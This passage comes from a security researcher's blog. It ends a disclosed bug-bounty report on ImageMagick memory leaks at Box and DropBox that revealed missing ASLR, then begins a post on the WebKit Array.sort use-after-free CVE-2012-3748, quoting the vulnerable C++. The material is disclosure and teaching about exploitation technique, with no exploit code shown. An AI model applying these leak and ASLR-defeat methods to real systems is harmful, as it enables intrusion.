Observed leaked bytes were fairly consistent across runs, lending further evidence that Box and DropBox might just be using the <span style="font-family: "courier new" , "courier" , monospace;">convert</span> binary, which would have a fresh heap state on each operation. This also suggests that if we really wanted to, we could carefully control the allocations and deallocations that our input file performs, in order to get the heap into a specific state to control exactly what was leaked.</div>
<div>
<br /></div>
<div>
Here are two examples of leaked images:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCEoKYivrrDRN3-nbjlNxKb8EGxaXA9iyAF-BAjxwtkmVsTrvHYp4BBVWXctiaqBvlPw3hca_PINPMKIh_Z640uR3cbT5bP-pCXEKxp-z_i7h3SXsgKZTovIN4NY_PaNmjGLIuXKKinHVG/s1600/montage.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCEoKYivrrDRN3-nbjlNxKb8EGxaXA9iyAF-BAjxwtkmVsTrvHYp4BBVWXctiaqBvlPw3hca_PINPMKIh_Z640uR3cbT5bP-pCXEKxp-z_i7h3SXsgKZTovIN4NY_PaNmjGLIuXKKinHVG/s1600/montage.png" /></a></div>
<div>
On the left is Box and on the right DropBox. The images have been scaled to 800% original size for clarity. Right away, we can visually see that our empty input canvas has resulted in a non-empty output canvas: leaked memory content! In order to turn the original downloaded PNG into a more digestible format, we can convert it to raw bytes like this:</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">convert box_16_8_rgb_rle.png out.rgb</span></div>
<div>
<br /></div>
<div>
And the dumping the resulting <span style="font-family: Courier New, Courier, monospace;">out.rgb</span> file (e.g. <span style="font-family: Courier New, Courier, monospace;">od -t x1</span>), we can look for pointers. First, Box:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000000 <span style="background-color: orange;">88 27 81 cf cd 7f 00 00 88 27 81 cf cd 7f 00 00</span></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000020 <span style="background-color: red;">00 39 18 02 00 00 00 00 00 39 18 02 00 00 00 00</span></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">*</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000140 00 00 00 00 00 00 00 00 <span style="background-color: orange;">20 31 81 cf cd 7f 00 00</span></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000160 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">0000200 00 00 00 00 00 00 00 00 <span style="background-color: red;">f0 39 18 02 00 00 00 00</span></span></div>
</div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span></div>
<div>
<br /></div>
Bytes highlighted in orange appear to be pointers to "high" locations in x86_64 virtual memory, such as the first one, 0x00007fcdcf812788. In fact, that's <i>probably</i> a pointer into the glibc static BSS, for the head of one of the freelist buckets. Running the test again, we get the different value 0x00007efdaac7d788, but the lower 12 bits (i.e. page offset) are the same, at 0x788.<br />
<br />
Bytes highlighted in red appear to be pointers to "low" locations in virtual memory, such as 0x00000000021839f0. Running the test again, we get 0x0000000001cc19f0.<br />
<br />
For DropBox, we dump out the following values of interest, with the same rules for highlights, and similar results:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">0000000 <span style="background-color: red;">30 76 38 02 00 00 00 00</span> 00 00 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000020 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000040 00 00 00 00 00 00 00 00 <span style="background-color: orange;">00 07 2c c9 5a 7f 00 00</span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000060 00 00 00 00 00 00 00 00 54 52 53 54 ff ff ff ff</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000100 70 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000120 <span style="background-color: red;">70 75 38 02 00 00 00 00</span> 00 00 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">*</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000220 00 00 00 00 00 00 00 00 61 02 00 00 00 00 00 00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">0000240 <span style="background-color: red;">d0 66 38 02 00 00 00 00 c0 75 38 02 00 00 00 00</span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;">[...]</span><br />
<br />
<b>ASLR determination</b><br />
<br />
So, can we conclude what ASLR situation exists in the processes we dumped data from? Yes. At first glance, the ASLR may appear reasonable because all of the pointers are bouncing around between invocations. But there are at least 4 possible Linux ASLR setups that we should try and distinguish between. Here are some examples of these four setups for Linux x86_64:<br />
<br />
1) Position independent executable, no system ASLR (<span style="font-family: Courier New, Courier, monospace;">/proc/sys/kernel/randomize_va_space</span>)<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">555555554000-555555580000 r-xp 00000000 fc:01 659830 /usr/bin/curl</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">55555577f000-555555782000 r--p 0002b000 fc:01 659830 /usr/bin/curl</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">555555782000-555555783000 rw-p 0002e000 fc:01 659830 /usr/bin/curl</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">555555783000-555556f4b000 rw-p 00000000 00:00 0 [heap]</span><br />
<div>
<div>
<br /></div>
<div>
2) Position independent executable, and system ASLR</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">55809480d000-558094839000 r-xp 00000000 fc:01 659830 /usr/bin/curl</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">558094a38000-558094a3b000 r--p 0002b000 fc:01 659830 /usr/bin/curl</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">558094a3b000-558094a3c000 rw-p 0002e000 fc:01 659830 /usr/bin/curl</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">558095533000-558096cfb000 rw-p 00000000 00:00 0 [heap]</span></div>
</div>
<div>
<br /></div>
<div>
3) Statically positioned executable, no system ASLR</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00400000-00401000 r-xp 00000000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00600000-00601000 r--p 00000000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00601000-00602000 rw-p 00001000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00602000-00692000 rw-p 00000000 00:00 0 [heap]</span></div>
</div>
<br />
4) Statically positioned executable, and system ASLR<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00400000-00401000 r-xp 00000000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00600000-00601000 r--p 00000000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">00601000-00602000 rw-p 00001000 fc:01 931015 /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/display</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">0242d000-024bd000 rw-p 00000000 00:00 0 [heap]</span><br />
<div>
<br /></div>
<div>
<br /></div>
<div>
In both the Box and DropBox cases, the pointers we have leaked match case 4), statically positioned executable with system ASLR. We make this determination because the supposed heap pointers are low but slightly variable between runs.</div>
<div>
<br /></div>
<div>
Ergo, both Box and DropBox have a vulnerability: missing ASLR on the binary used to do the thumbnailing. Put another way, that binary was not compiled as position independent. It's not a particularly surprising vulnerability: my Ubuntu 16.04 install has the same problem:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">file -L /usr/bin/convert</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">/usr/bin/convert: ELF 64-bit LSB executable, x86-64, version 1 (SYSV)</span></div>
</div>
<br />
<b>Box vs. DropBox</b><br />
<br />
When the same vulnerability crops up in two different places, the opportunity arises to perform comparisons. Both Box and DropBox appeared to have a one-process-per-conversion model and both responded to the report promptly by performing the most important action, which was to firmly curtail the number of ImageMagick decoders on the attack surface. Further to my previous <a href="https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html">post about a likely ancient ImageMagick on Box</a>, no evidence of ancient ImageMagick was found on DropBox.<br />
<br />
<b>Conclusions</b><br />
<br />
Determining whether ASLR is correctly enabled or not on the server is usually opaque to web application security testing. But by finding a vector to leak the content of server memory, we can match up pointer values to the status of ASLR on the server.<br />
<br />
For my trouble, <b>DropBox awarded me a $343 bounty</b>. Box does not have a bounty program at this time.<br />
<br />
Lack of ASLR on the ImageMagick conversion process could be a useful foot in the door to a memory corruption attack. One-shot exploitation of image decoding is fairly hard, because you have to defeat ASLR and also land the corruption exploit within the context of a single image decode, where you typically don't have scripting available. If, however, the binary is at a fixed location due to missing ASLR, exploitation is a much more tractable problem.<br />
<br />Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com1tag:blogger.com,1999:blog-3024470480937744884.post-17451459137413889362017-05-05T21:20:00.000-07:002017-05-05T21:20:07.869-07:00Ode to the use-after-free: one vulnerable function, a thousand possibilities<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<b id="docs-internal-guid-45460cd6-dbf5-57ae-bf60-fc531e90660f" style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This post explores an old but wonderful vulnerability that enables us to really showcase the (oft underestimated) power of the use-after-free vulnerability class.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’re going to take a step back and consider the wider class of “use-after-invalidation”, of which use-after-free is one type of use of invalidated state. We will see one single area of vulnerable code that has it all: use-after-invalidation leading to out of bounds reads and writes; use-after-free leading to object aliasing; use-after-free leading to information leakage and more. It’s hard to imagine a better real vulnerability exists for the study of this area.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’ll dive into all the different side effects a use-after-free can have, and -- of course!! -- get to the stage of working and highly reliable exploits.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Introducing CVE-2012-3748</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3748" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">CVE-2012-3748</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> has a very storied history. It originally acquired public fame when </span><a href="http://www.zdnet.com/article/mobile-pwn2own-iphone-4s-hacked-by-dutch-team/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">used in Mobile Pwn2Own</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to pwn an iPhone 4S (Sep 2012), getting assigned </span><a href="http://www.zerodayinitiative.com/advisories/ZDI-13-009/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">ZDI-13-009</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The eventual Apple advisory is </span><a href="https://support.apple.com/en-us/HT201347" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">here</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (Feb 2013).</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A public exploit may be found </span><a href="https://packetstormsecurity.com/files/123089/Packet-Storm-Advisory-2013-0903-1-Apple-Safari-Heap-Buffer-Overflow.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">here on Packet Storm</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (Sep 2013). It’s worth noting that the author is Vitaliy Toropov, a hacker who later </span><a href="https://arstechnica.com/security/2015/07/how-a-russian-hacker-made-45000-selling-a-zero-day-flash-exploit-to-hacking-team/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">found infamy when he was outed as a supplier to Hacking Team</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. (The Hacking Team Flash bug was similar: memory corruption resulting from unexpected state changes in a script callback.)</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And as one commentator notes on </span><a href="http://wololo.net/talk/viewtopic.php?p=368577" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">a thread discussing a port of this vulnerability to the PlayStation 4</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, “That one WebKit bug is the gift that keeps on giving” (Oct 2014).</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In general, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">everyone</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ships an out of date WebKit and Linux distributions are no different. So it wasn’t really a surprise to me to look at an old but still supported Linux distribution, Ubuntu 12.04 LTS, and find the same vulnerability present. To explore this vulnerability, I’m using 32-bit and 64-bit versions of fully patched Ubuntu 12.04 LTS, and the WebKit backend for the Konqueror browser.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[Note: since starting to write this post, Ubuntu 12.04 LTS has passed end of life.]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">For what it’s worth, the woeful state of WebKit packaging on Linux was discussed in Feb 2016 in </span><a href="https://blogs.gnome.org/mcatanzaro/2016/02/01/on-webkit-security-updates/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">this blog post</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which was </span><a href="https://lwn.net/Articles/674410/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">picked up by Linux Weekly News</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerability</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vulnerability is a range of issues leading to memory corruption in the C++ code backing the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Array.sort()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> JavaScript API. The manifestation of the vulnerability changed over its lifetime as various code changes and optimizations were made. The 2013 exploit is based on this version of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">JSArray.cpp</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> C++ file:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<a href="http://svn.webkit.org/repository/webkit/branches/safari-536.25-branch/Source/JavaScriptCore/runtime/JSArray.cpp" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">http://svn.webkit.org/repository/webkit/branches/safari-536.25-branch/Source/JavaScriptCore/runtime/JSArray.cpp</span></a></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We won’t dwell on this one for long because this behaves differently to our Ubuntu version. But briefly:</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">void JSArray::sort(ExecState* exec, JSValue compareFunction, CallType callType, const CallData& callData)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[1]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> unsigned usedVectorLength = min(m_storage->m_length, m_vectorLength);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[2]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (; numDefined < usedVectorLength; ++numDefined) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> JSValue v = m_storage->m_vector[numDefined].get();</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (!v || v.isUndefined())</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> break;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tree.abstractor().m_nodes[numDefined].value = v;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: yellow; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[3]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tree.insert(numDefined);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[...]</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for (unsigned i = 0; i < numDefined; ++i) {</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: red; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">[4]</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m_storage->m_vector[i].set(globalData, this,</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> tree.abstractor().m_nodes[*iter].value);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ++iter;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> }</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
